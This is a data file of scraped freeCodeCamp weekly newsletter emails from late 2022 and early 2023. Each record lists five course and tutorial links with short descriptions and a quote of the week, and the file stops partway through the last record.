{"id": "gh_6f609e80380b", "question": "How to: Jan 21, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Tailwind CSS has quickly become one of the most popular Responsive Design frameworks for coding new projects. This beginner's course will teach you how to harness Tailwind's power. By the end of it, you'll know a lot more about CSS. You'll learn about colors, typography, spacing, animation, and more. You'll even build your own Design System, which you can use for your future websites and mobile apps. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-tailwind-css/\n\n2. Python and JavaScript are not the only programming languages you can use to build full stack web apps. You can also use good old trusty Java. And this in-depth Java course will teach you how to build your own movie streaming website. You'll learn the Java Spring Boot web development framework, React, MongoDB, JDK, IntelliJ, and Material UI. If you want to take the next step with your Java skills, this course is for you. (4 hour YouTube course): https://www.freecodecamp.org/news/full-stack-development-with-mongodb-java-and-react/\n\n3. If you want to expand the certification section of your résumé or LinkedIn profile, I've got good news for you. freeCodeCamp just published a collection of more than 1,000 developer certs that you can earn from big tech companies and prestigious universities. All of these are self-paced and freely available. You just have to put in the effort. (full browsable list): https://www.freecodecamp.org/news/free-certificates/\n\n4. ChatGPT just came out and already it has blown so many developers' minds. You can ask the AI just about any question and get a fairly human-sounding response. What better way to familiarize yourself with ChatGPT than to clone its user interface, using React and ChatGPT's own APIs. This front end development course will help you code a powerful app that can answer questions, translate text, convert code from one language to another, and more. (1 hour YouTube course): https://www.freecodecamp.org/news/chatgpt-react-course/\n\n5. If you feel stuck in your coding journey, I may have just the thing to help. I published a full-length book that will teach you how to build your coding skills, your personal network, and your reputation as a developer. You'll also learn how to prepare for the developer job search, and how to land freelance clients. These practical insights are freely available to read – right in your browser. (5 hour read): https://www.freecodecamp.org/news/learn-to-code-book/\n\nQuote of the Week: *\"If you ever throw out an ‘I love you’ and don’t get an ‘I love you’ in return, follow it up with: ‘React is great too. But there’s something I just love about Vue.’ This will save you some embarrassment.\"* — Adam Wathan, Developer and Creator of Tailwind CSS (Get it? ‘I love Vue’)", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741013"}
{"id": "gh_975918e0dba2", "question": "How to: Jan 14, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. You may use Google Search several times a day. I sure do. Well this freeCodeCamp course will teach you the art and science of getting good search results. Seth Goldin studies Computer Science at Yale. To prepare this course, he met with several engineers on Google's search team. In this course, you'll learn search techniques for developers, such as Matching Operators, Switch Operators, and Google Lens. (1 hour YouTube course): https://www.freecodecamp.org/news/how-to-google-like-a-pro/\n\n2. Unreal Engine 5 is a powerful tool for coding your own video games. Even big triple-A video games like Street Fighter and Fortnite are coded using Unreal Engine. This course is taught by Sourav, a seasoned game developer. He'll teach you about Blueprints, Modeling Inputs, Netcode, Plugins, Player Control, and more. By the end of the course, you will have coded your own endless runner game. (11 hour YouTube course): https://www.freecodecamp.org/news/developing-games-using-unreal-engine-5/\n\n3. What is the most popular computer science course in the world? Why, that would be Harvard's CS50 course. And freeCodeCamp has partnered with Harvard to publish the entire university-level course – 25 hours worth of lectures – on our community YouTube channel. But is this course for you? freeCodeCamp contributor Phoebe Voong-Fadel wrote an in-depth review of CS50. She'll help you make an educated decision as to whether this course is worth your time. (12 minute read): https://www.freecodecamp.org/news/cs50-course-review/\n\n4. Learn Software System Design. This course will teach you common engineering design patterns for building large-scale distributed systems. Then you'll use those techniques to code along at home and build your own live-streaming platform. (1.5 hour watch): https://www.freecodecamp.org/news/software-system-design-for-beginners/\n\n5. Last week I published my new book: \"How to Learn to Code and Get a Developer Job in 2023\". This week, by popular request, I added an additional chapter to it: \"How to Succeed in Your First Developer Job\". My book is freely available – right in your browser. You can bookmark it and read it at your convenience. (Full length book – roughly a 5 hour read): https://www.freecodecamp.org/news/learn-to-code-book/\n\nFact of the Week: About 15% of all Google search queries are queries that no one has ever searched before. That means every day, humans around the world are googling millions of unprecedented queries.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741022"}
{"id": "gh_4e03ea00c9a4", "question": "How to: Jan 7, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Happy 2023. A few years back, one of the major book publishers from New York City reached out to me about a book deal. I met with them. But was too busy running freeCodeCamp. Well, last year I finally got caught up enough to write the book. And today I published it, right on freeCodeCamp. It's now freely available to anyone who wants to learn to code and become a professional developer.\n\nThis book will teach you insights I've learned over the past decade: from my own journey into coding as a teacher in my 30s, from working as a software engineer, and from running freeCodeCamp.org.\n\nIf you're looking for a good starting point for your developer journey, this book is for you. You can read the whole thing now. (full-length book): https://www.freecodecamp.org/news/learn-to-code-book/\n\n2. Learn Python for web development. This crash course by freeCodeCamp teacher Tomi Tokko will teach you how to use Python with SQL and web APIs. You can code along at home and build several projects with both the Django and Flask frameworks. (2 hour YouTube course): https://www.freecodecamp.org/news/how-to-use-python-for-web-development/\n\n3. You may have heard the programming term \"abstraction\". But what exactly does it mean? This in-depth tutorial from software engineer Ryan Michael Kay will delve into abstraction, interfaces, protocols, and even lambda expressions. It should give you a basic grasp of these important programming concepts. (20 minute read): https://www.freecodecamp.org/news/what-is-abstraction-in-programming-for-beginners/\n\n4. If you enjoy listening to music, why not make some yourself? This beginners tutorial will teach you how to use a popular Digital Audio Workstation called FL Studio. In it, professional music producer Tristan Willcox will teach you about Virtual Instruments, Samples, Layers, Arrangement, Leveling, Mixing, Automation, Mastering, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/how-to-produce-music-with-fl-studio/\n\n5. Hundreds of universities around the world have made programming and computer science courses openly available on the web. My friend Dhawal has compiled 860 of these courses that you can explore. If you want, you can strap these together to build your own school year. (browsable list): https://www.freecodecamp.org/news/free-online-programming-cs-courses/\n\nQuote of the Week: *\"Give someone a program, you frustrate them for a day. Teach them how to program, you frustrate them for a lifetime.\"* – David Leinweber, Mathematician and Berkeley Computer Science Professor", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741032"}
{"id": "gh_8bcb56a8be2a", "question": "How to: Dec 24, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The freeCodeCamp community just dramatically expanded our Learn to Code RPG video game. Learn to Code RPG is an interactive visual novel game where you teach yourself to code, make friends in the tech industry, and pursue your dream of working as a developer. The game features a quirky cast of characters, a charming cat, and more than 1,000 computer science quiz questions. While working as a developer in the game, you can unlock more than 50 achievements and 6 different endings. You can play the game on PC, Mac, Linux, and Android. I enjoyed working with Lynn, KayLa, and Nielda on this all year long. We're excited to get it to you in time for the holidays. Enjoy. (full-length video game): https://www.freecodecamp.org/news/learn-to-code-rpg-1-5-update/\n\n2. Build your own SaaS (Software as a Service) app. In this beginner course taught by freeCodeCamp instructor Ania Kubów, you'll code your own PagerDuty clone project. This handy tool will notify you whenever one of your servers crashes. You'll learn PostgreSQL, the Stripe API, Twillio for notifications, and other powerful developer tools. (2 hour YouTube course): https://www.freecodecamp.org/news/how-to-build-your-own-saas-pagerduty-clone/\n\n3. You may have heard about the GPT-3 and ChatGPT AI assistants, and how amazing they are at tasks like writing high school book reports. But how are they at coding? Well, programming book author and freeCodeCamp volunteer David Clinton sat down with ChatGPT for a pair programming session. He shares his thoughts on the quality of GPT's code, its limitations, and how effective it might be at helping developers. (10 minute read + 6 minute video): https://www.freecodecamp.org/news/pair-programming-with-the-chatgpt-ai-how-well-does-gpt-3-5-understand-bash/\n\n4. Megan Kaczanowski has worked her way up the ranks in the field of information security. Not only has she written many infosec tutorials for the freeCodeCamp community over the years – she's also created this guide for people entering the field. It will help you plan your learning and understand the alphabet soup of certifications. She'll also give you tips on how to get involved in your local security community, and how to gear up for the infosec job search. (20 minute read): https://www.freecodecamp.org/news/how-to-get-your-first-job-in-infosec/\n\n5. Learn how to code your own Santa Tracker app using Next.js and React Leaflet. User Experience Designer and freeCodeCamp volunteer Colby Fayock will walk you through how to code this front end app. You'll learn how to fetch Santa's flight plan, including arrival time, departure time, and coordinates. Then you can plot his entire evening's journey onto a world map. (20 minute read + 23 minute video): https://www.freecodecamp.org/news/how-to-build-a-santa-tracker-app-with-next-js-react-leaflet/\n\nThis is my final letter to you for 2022. I hope you've had a fun, insightful year. This has been an amazing year for the freeCodeCamp community. People are using freeCodeCamp more than ever. (People spent more than 4 billion minutes learning on freeCodeCamp this year!) We also launched major improvements to our curriculum, our Android app, and – of course – Learn to Code RPG.\n\nQuote of the Week: *\"The ‘joy of discovery’ is one of the fundamental joys of play itself. Not just the joy of discovering secrets within the game, but also the joy of uncovering the creator’s vision. It’s that ‘Aha!’ moment where it all makes sense, and behind the world the player can feel the touch of another creative mind. In order for it to be truly joyful, however, it must remain hidden from plain view—not carved as commandments into stone tablets but revealed, piece by piece, through the player’s exploration of the game’s rules.\"* — Derek Yu, game developer and creator of Spelunky", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741045"}
{"id": "gh_f9eabef03128", "question": "How to: Dec 20, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Programming is a skill that can help you blast your imagination out into the real world. This book – by software engineer and freeCodeCamp teacher Estefania – will give you a strong conceptual foundation in programming. You'll learn about binary, and how computers “think.” (More on this in the Quote of the Week below.) You'll also learn how to communicate with computers through code, so they can do your bidding. This book is an excellent starting point to share with friends and family who want to learn more about technology. (full-length book): https://www.freecodecamp.org/news/what-is-programming-tutorial-for-beginners/\n\n2. Learn JavaScript by coding your own card game. This course is taught by one of freeCodeCamp's most experienced teachers. Gavin has worked as a software engineer for two decades, and it really comes through in his teaching. You can code along at home while you watch this, and build your own responsive web interface for the game. You'll use plain vanilla JavaScript to flip, shuffle, and deal cards from your deck. Once you're finished, you'll have a fun project to show your friends. (2 hour YouTube course): https://www.freecodecamp.org/news/improve-your-javascript-skills-by-coding-a-card-game/\n\n3. And if you're a bit more experienced with JavaScript, I encourage you to learn the powerful Next.js web development framework. freeCodeCamp uses Next.js in several of our apps. And it's steadily growing in popularity. This course – taught by Alicia Rodriguez – will teach you Next.js fundamentals. You'll learn about server-side rendering, API routing, and data fetching. You'll even deploy your app to the cloud. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-next-js-tutorial/\n\n4. You may have heard about GPT-3, DALL-E, and other powerful uses of artificial intelligence. But what if you want to code your own AI? You'll want to start with something simple. In this tutorial, you'll learn about the Minimax algorithm, and how you can use it to create an game AI that always wins or ties at tic-tac-toe. (15 minute read): https://www.freecodecamp.org/news/build-an-ai-for-two-player-turn-based-games/\n\n5. Did you know you can use your command line as a calculator? If you open your terminal in Mac or Linux (or in Windows Subsystem for Linux) you can type equations, and then your computer will solve them for you – usually in just a few milliseconds. This is handy if you are fast at typing and don't want to use a spreadsheet or click around in a calculator. This tutorial will show you some of the key syntax and features for crunching numbers right in the command prompt. (12 minute read): https://www.freecodecamp.org/news/solve-your-math-equation-on-terminal/\n\nQuote of the Week: *\"The question of whether computers can think is like the question of whether submarines can swim.\"* — Edsger Dijkstra, Mathematician and Computer Scientist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741055"}
{"id": "gh_57807f7e3424", "question": "How to: Dec 9, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. This freeCodeCamp course will teach you how to code your own Python apps that run directly on Windows, Mac, or Linux – not just in a browser. You'll learn powerful Python libraries like Qt and PySide6. This way you can build apps that run natively on computers, and leverage their full processing power. (5 hour YouTube course): https://www.freecodecamp.org/news/python-gui-development-using-pyside6-and-qt/\n\n2. Swift is a powerful programming language developed by Apple. A lot of developers who build apps for either iOS and MacOS prefer to code in Swift. In this in-depth course, a lead iOS developer will teach you Swift development fundamentals. You'll learn about variables, operators, error handling, and even asynchronous programming. (7 hour YouTube course): https://www.freecodecamp.org/news/learn-the-swift-programming-language/\n\n3. If you're preparing for a coding interview as part of your developer job search, you're going to want to read this. Dijkstra's Algorithm is an iconic graph algorithm with many uses in computer science. You can use it to find the shortest path between two nodes in a graph, or the shortest path from one fixed node to the rest of the nodes in a graph. This detailed explanation – with diagrams and a pseudocode example – will help you appreciate its true brilliance. (12 minute read): https://www.freecodecamp.org/news/dijkstras-algorithm-explained-with-a-pseudocode-example/\n\n4. If you want to move beyond the basics with React, this intermediate JavaScript tutorial will teach you about Separation of Concerns. You'll learn about React Container Components, Presentational Components, and how to make your code easier to maintain over time. (15 minute read): https://www.freecodecamp.org/news/separation-of-concerns-react-container-and-presentational-components/\n\n5. 2022 was a massive year for the global freeCodeCamp community. Thousands of people volunteered to help make our charity and our learning resources better. I'm thrilled to announce this year's Top Contributors. These 696 friendly people have earned this distinction through going above and beyond in helping fellow learners. Whether they answered questions on the community forum, translated tutorials, contributed to our open source codebases, or designed new courses – we deeply appreciate their efforts. (10 minute read): https://www.freecodecamp.org/news/freecodecamp-2022-top-contributors/\n\nQuote of the Week: *\"A most important, but also most elusive, aspect of any tool is its influence on the habits of those who train themselves in its use. If the tool is a programming language, this influence is – whether we like it or not – an influence on our thinking habits.\"* — Edsger Dijkstra, Mathematician and Computer Scientist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741064"}
{"id": "gh_cde95ed100b5", "question": "How to: Dec 2, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a course that will teach you how to code your own API using Python. APIs are like websites designed for other computers to understand, rather than humans. Instead of sharing text, images, videos – and other media that humans understand – APIs just share raw data, such as JSON responses. This course will show you how to build your own REST API using the popular Python Django REST framework. (1.5 hour YouTube course): https://www.freecodecamp.org/news/use-django-rest-framework-to-create-web-apis/\n\n2. MATLAB is a popular programming language used by scientists, and in industries like aerospace. Over the years, we've had so many people request a MATLAB course on freeCodeCamp. And today I'm thrilled to share one with you. This course will teach you MATLAB programming fundamentals, including how to use its powerful Integrated Development Environment. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-matlab-with-this-crash-course/\n\n3. React Testing Library is a powerful front end testing tool for your apps. And this in-depth tutorial will walk you through how to use it. You'll learn unit testing fundamentals, as well as JavaScript testing tools like Jest. And you'll get to try out Vite, a new tool for bootstrapping your React apps. (30 minute read): https://www.freecodecamp.org/news/write-unit-tests-using-react-testing-library/\n\n4. Have you ever wondered why we write it “freeCodeCamp” with a lowercase f? That's because we thought it would be funny to use Camel Case like JavaScript does for its variables. And this is just one style of cases that developers use. This guide will introduce you to other popular styles of writing variable names, including Snake Case, Pascal Case, and even Kebab Case. (8 minute read): https://www.freecodecamp.org/news/snake-case-vs-camel-case-vs-pascal-case-vs-kebab-case-whats-the-difference/\n\n5. 2022 has been a colossal year for the freeCodeCamp community. People spent more than 4 billion minutes learning on freeCodeCamp this year. I wrote this article about some of the areas we've been focused on expanding. Not just the university degree program, but also our massive translation efforts. You can check out some of the numbers for yourself. (5 minute read): https://www.freecodecamp.org/news/freecodecamp-2022-usage-statistics/\n\nQuote of the Week: *\"Really good software is never finished; it continues to grow. If it doesn’t grow, it decays.\"* — Melinda Varian, Software Engineer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741074"}
{"id": "gh_4dc448ecaefb", "question": "How to: Nov 23, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn to code your own Duck Hunt-style arcade game. This Python and PyGame course will teach you several core GameDev concepts. You'll learn how to draw sprites on the screen, check for collisions, procedurally move enemies, and display score. You'll even code the Game Over conditions. (2 hour YouTube course): https://www.freecodecamp.org/news/create-a-arcade-style-shooting/\n\n2. The freeCodeCamp community is thrilled to share this new book with you: The Express and Node.js Handbook. This Full Stack JavaScript book will come in handy when you're coding your next web app. You'll learn about JSON API requests, middleware, cookies, routing, static assets, sanitizing, and more. You can read the entire book freely in your browser, and bookmark it for handy reference. (full-length book): https://www.freecodecamp.org/news/the-express-handbook/\n\n3. You may have heard the term \"Random Sampling\" before in articles about science, or even learned how to do it in a statistics class. But are you familiar with Stratified Random Sampling? This Python tutorial will show you how you can separate your data into strata based on a particular characteristic before you do your sampling. You may find this helpful the next time you're doing some data analysis. (13 minute read): https://www.freecodecamp.org/news/what-is-stratified-random-sampling-definition-and-python-example/\n\n4. When you configure cloud servers, you have to consider who should be able to access which resources. That's where Identity Access Management comes in. Roles and Permissions can be one of the hardest aspects of cloud computing to wrap your head around. Luckily, freeCodeCamp just published this tutorial that explains IAM using easy-to-understand analogies. (20 minute read): https://www.freecodecamp.org/news/aws-iam-explained/\n\n5. freeCodeCamp just shipped a major update to our Android app. You can now learn from our interactive curriculum right on your phone. We spent months polishing the mobile coding user experience. We also added some new podcasts you can listen to. You can see the app in action and join the beta: https://www.freecodecamp.org/news/freecodecamp-mobile-app-curriculum-update/\n\nQuote of the Week: *\"Games were not just a diversion, I realized. Games could make you feel. If great literature could wield its power through nothing but black squiggles on a page, how much more could be done with movement, sound, and color?\"* — Sid Meier, Game Developer and creator of the Civilization strategy game series", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741083"}
{"id": "gh_b1567d32cf1f", "question": "How to: Nov 18, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. If you want to take your JavaScript and React skills to the next level, this intermediate freeCodeCamp course is for you. Software engineering veteran Jack Herrington will teach you about State Management in React. You'll learn about hooks, reducers, context, and more. (3 hour YouTube course): https://www.freecodecamp.org/news/how-to-manage-state-in-react/\n\n2. WordPress is an open source website tool that – as of 2022 – more than 40% of all major websites use. And in this course, freeCodeCamp software engineer Beau Carnes will show you how to code and deploy a WordPress website using Elementor. He'll teach you about hosting, installation, responsive web design, and more. (90 minute YouTube course): https://www.freecodecamp.org/news/easily-create-a-wordpress-blog-or-website/\n\n3. You may have heard about some recent breakthroughs in AI-generated art work. I've been having a blast playing around with DALL-E to create silly images for my kids. And now you can create your own React app that uses the DALL-E API to generate art based on your prompts. This tutorial will walk you through how to code your own pop-up art gallery on your website. (10 minute read): https://www.freecodecamp.org/news/generate-images-using-react-and-dall-e-api-react-and-openai-api-tutorial/\n\n4. Learn cybersecurity for beginners. This Linux Command Line game will help you capture the flag in no time. For each level of Bandit OverTheWire, you'll get a quick primer in real-world Linux skills. Then you can pause the video and use those skills to beat the level. You can unpause at any time for more explanation, and to keep progressing through the game. This is a fun way to expand your knowledge of networks and security. (2 hour YouTube course): https://www.freecodecamp.org/news/improve-you-cybersecurity-command-line-skills-bandit-overthewire-game-walkthrough/\n\n5. If you are new to software development you are going to hear the word \"solid\" a lot. And not just to describe hard drives. SOLID is an acronym for a set of software engineering principles. These can help guide you in designing systems. In this quick primer, freeCodeCamp engineer Joel Olawanle will break down each of these concepts. This way, next time you're doing some Object-Oriented Programming, you'll already have a feel for how to best go about it. (20 minute read): https://www.freecodecamp.org/news/solid-principles-for-programming-and-software-design/\n\nAs you may know, freeCodeCamp is a public charity. We've got the same tax-exempt status as The Red Cross, Doctors Without Borders, the YMCA, and other big charities. Except that we operate on a fraction of the budget. More than a million people use freeCodeCamp each day, and yet this is only possible thanks to the 8,273 kind people who donate. Help us in our mission to create math, computer science, and programming resources for everyone. Get involved: https://www.freecodecamp.org/donate\n\nQuote of the Week: *\"The disorder of the desk, the floor, the yellow Post-it notes everywhere, the whiteboards covered with scrawl. All this is the outward manifestation of the messiness of human thought. The messiness cannot go into the program. It piles up around the programmer.\"* — Ellen Ullman, Programmer and Author", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741094"}
{"id": "gh_1bda4b8107d7", "question": "How to: Nov 11, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a hands-on Microservice Architecture course. This is a great way to learn about Distributed Systems. You can code along at home, and build your own video-to-MP3 file converter app. Along the way, you'll learn some MongoDB, Kubernetes, and MySQL. (5 hour YouTube course): https://www.freecodecamp.org/news/microservices-and-software-system-design-course/\n\n2. TypeScript is like JavaScript, but with static types. For each variable, you specify whether it's a string, integer, boolean, or other data type. If you already know some JavaScript, TypeScript may not take that much time to learn. And it can reduce the number of bugs in your code. freeCodeCamp has converted almost our entire codebase to use TypeScript. It still has all the power of JavaScript, but it's now a bit easier for us to build new features. This beginner course will teach you everything you need to get started coding TypeScript. (5 hour YouTube course): https://www.freecodecamp.org/news/programming-in-typescript/\n\n3. Testing is a vital part of the software development process. You want to ensure that all your app's features work as intended. Thankfully, there are some powerful tools out there to help you write robust tests. This handbook will teach you how to code the most fundamental type of test: unit tests. It will also show you some web development best practices for using Jest and the React Testing Library. (full-length handbook): https://www.freecodecamp.org/news/how-to-write-unit-tests-in-react-redux/\n\n4. Learn CSS and Responsive Web Design for beginners. Jessica's new guide will walk you through one of freeCodeCamp's most popular projects: coding your own café menu. She'll show you how to build it step-by-step. You can do this entire project on freeCodeCamp's core curriculum interactively, and reference Jessica's article when you get stuck or just need additional context. (45 minute read): https://www.freecodecamp.org/news/learn-css/\n\n5. Also, freeCodeCamp just published a massive Bootstrap course in Spanish, where you'll code your own portfolio. (We've also published several Bootstrap courses in English, too). If you have Spanish-speaking friends who want to learn web development and design, please tell them that we now have in-depth courses on a broad range of coding topics. These are all taught in Spanish by Estefania. She's an experienced teacher and software engineer. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-bootstrap-5-in-spanish-by-building-a-portfolio-website-bootstrap-course-for-beginners/\n\nQuote of the Week:\n\n*\"The Evolution of Software Architecture:\n1990s: Spaghetti-Oriented Architecture (AKA Copy & Paste)\n2000s: Lasagna-Oriented Architecture (AKA Layered Monolith)\n2010s: Ravioli-Oriented Architecture (AKA Microservices)\nWhat's next? Probably Pizza-Oriented Architecture.\"*\n— Benoit Hediard, Developer, Software Architect, and CTO of Agorapulse", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741106"}
{"id": "gh_1bdde9c51d81", "question": "How to: Nov 4, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new Full Stack Web Development course, taught by two of our most popular instructors. This beginner course will teach you HTML, CSS, JavaScript basics, Node.js, MongoDB, and more. (7.5 hour YouTube course): https://www.freecodecamp.org/news/learn-full-stack-development-html-css-javascript-node-js-mongodb/\n\n2. If you're interested in working in the field of cloud computing, this new course will help you pass the Microsoft 365 Fundamentals (MS-900) Certification. In it, long-time freeCodeCamp contributor Andrew Brown shares how he passed the exam, and covers all of its material. (4 hour YouTube course): https://www.freecodecamp.org/news/microsoft-365-fundamentals-certification-ms-900-course/\n\n3. Learn how to use CSS Flexbox to make responsive webpages that look good on any device size. This tutorial will walk you through the most common Flexbox properties and explain them visually, using helpful diagrams. Design concepts that were once intimidating will now be much easier to understand. Be sure to bookmark this and share it with a designer friend. (30 minute read): https://www.freecodecamp.org/news/css-flexbox-complete-guide/\n\n4. The Kotlin programming language is a popular alternative to Java. You can use Kotlin to do many of the same things, such as build Android apps or code for the Java Virtual Machine. But Kotlin offers a more contemporary developer experience. freeCodeCamp just published an in-depth Kotlin course to teach you about functions, types, logical operators, and Object-Oriented Programming. (14 hour YouTube course): https://www.freecodecamp.org/news/learn-kotlin-complete-course/\n\n5. Hacktoberfest was a blast. Jessica oversaw freeCodeCamp's DeveloperQuiz.org GitHub repository. She QA'd and merged more than 360 pull requests from volunteer code contributors. Her tips to other people who want to maintain open source projects: “Lead with patience, empathy, and kindness.” These are her insights from the past 31 days of coding. (12 minute read): https://www.freecodecamp.org/news/what-i-learned-as-a-hacktoberfest-repo-maintainer/\n\nThe freeCodeCamp community is hard at work on new math and data science courses, so that you and your family can learn these important skills. As you may know, we are a tax-exempt public charity. We rely on the support of kind, thoughtful people like you. Learn more and get involved: https://www.freecodecamp.org/news/freecodecamp-math-computer-science-degree-update/\n\nQuote of the Week: *\"Just crawl it.\"* — text from the top of Nike's robots.txt file on their website. (robots.txt is the file Google's crawlers look at when they're deciding how to index a website.)", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741115"}
{"id": "gh_f4756821d410", "question": "How to: Oct 28, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Python is one of the most widely used programming languages on Earth right now. In science, in industry, and in high school robotics clubs around the world. You, too, can learn to wield this mighty Python power. I'm sick as a dog as I type this, so if what I'm saying sounds silly, it's probably the NyQuil talking. freeCodeCamp has published dozens of Python video courses, but this week I wanted to share something for the folks who prefer good old fashion book learning. (full-length book): https://www.freecodecamp.org/news/learn-python-book/\n\n2. Ah. Graph Algorithms. The bane of every coding interview prepper. These powerful programming patterns are over-represented in job interview questions, so you'll want to eventually learn them well. This course will help you grok Depth-First Traversal, Breadth-First Traversal, Shortest Path, and Dijkstra's Algorithm. This Dijkstra guy, he's kind of a big deal. More on him later. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-how-graph-algorithms-work/\n\n3. User Interface VS User Experience – what's the difference, you might ask? Well, User Interfaces have been around since the industrial revolution. Think the control room of a power station, or the cockpit of a plane. But User Experience – that's a more recent way of thinking about Human-Computer Interaction. The term was coined in the 1990s by a designer and cognitive psychologist at Apple. This tutorial by freeCodeCamp instructor Dionysia Lemonaki will explain the distinctions between the two and their shared history. She'll also walk you through the UX Design Process. (20 minute read): https://www.freecodecamp.org/news/ux-vs-ui-whats-the-difference-definition-and-meaning/\n\n4. Without computer networks, I'd need to put on my sneakers and run this letter to your door. Or bankrupt our charity buying postage stamps. Over the past 30 years, networks have changed almost everything about talking, learning, and getting things done. They are worthy of your attention and your respect. So learn a bit more about how they work. This tutorial will walk you through 5 of the most important layers – from the physical hardware all the way up to the applications running on top of all that sweet, sweet abstraction. (20 minute read): https://www.freecodecamp.org/news/the-five-layers-model-explained/\n\n5. The freeCodeCamp community just turned 8 years old. A big Happy Birthday to all y'all who've been a part of our charity's endeavor. I have a byte-sized update on the community (8.9Kb of text, to be exact). You'll learn about our progress with the Data Science courses, the Math and Computer Science degrees we're developing, and more. I promise it's worth your (12 minute read): https://www.freecodecamp.org/news/freecodecamp-math-computer-science-degree-update/\n\nQuote of the Week (from the man himself, and apt given we started developing our computer science degree last year): *\"Computer Science is no more about computers than astronomy is about telescopes.\"* — Edsger Dijkstra, Mathematician, Computer Scientist, Turing Award Winner, and fellow Texan (I live in Texas if you didn't know that. Nevermind. I'm not the important one here.)", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.741126"}
{"id": "gh_ece76144d423", "question": "How to: Oct 21, 2022", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The freeCodeCamp community is proud to publish the full Harvard CS50 computer science lecture series, taught by world-renowned professor David J. Malan. You'll learn about C programming, Python, SQL, web development, and a ton of computer science theory. This course also includes tons of labs, exercises, and even an offshoot course on game development. (25 hour YouTube course): https://www.freecodecamp.org/news/harvard-cs50/\n\n2. Learn the powerful Svelte JavaScript framework. This course is taught by Svelte core maintainer Li Hau Tan. He'll teach you about The Component Lifecycle, Svelte Store Contracts, Reactivity, RxJS, Redux, and so much more. (23 hour YouTube course): https://www.freecodecamp.org/news/learn-svelte-complete-course/\n\n3. Want to practice your coding skills by building your own Google Docs clone? In this course, you'll use Flutter, Node.js, Websockets, and MongoDB. You can code along at home and implement your own authentication, collaborative editing, auto-saving, and more. This is a solid intermediate course to sharpen your skills. (5 hour YouTube course): https://www.freecodecamp.org/news/code-google-docs-with-flutter/\n\n4. Go is a lightning fast programming language. It powers Docker, Kubernetes, and other popular open source tools. Software 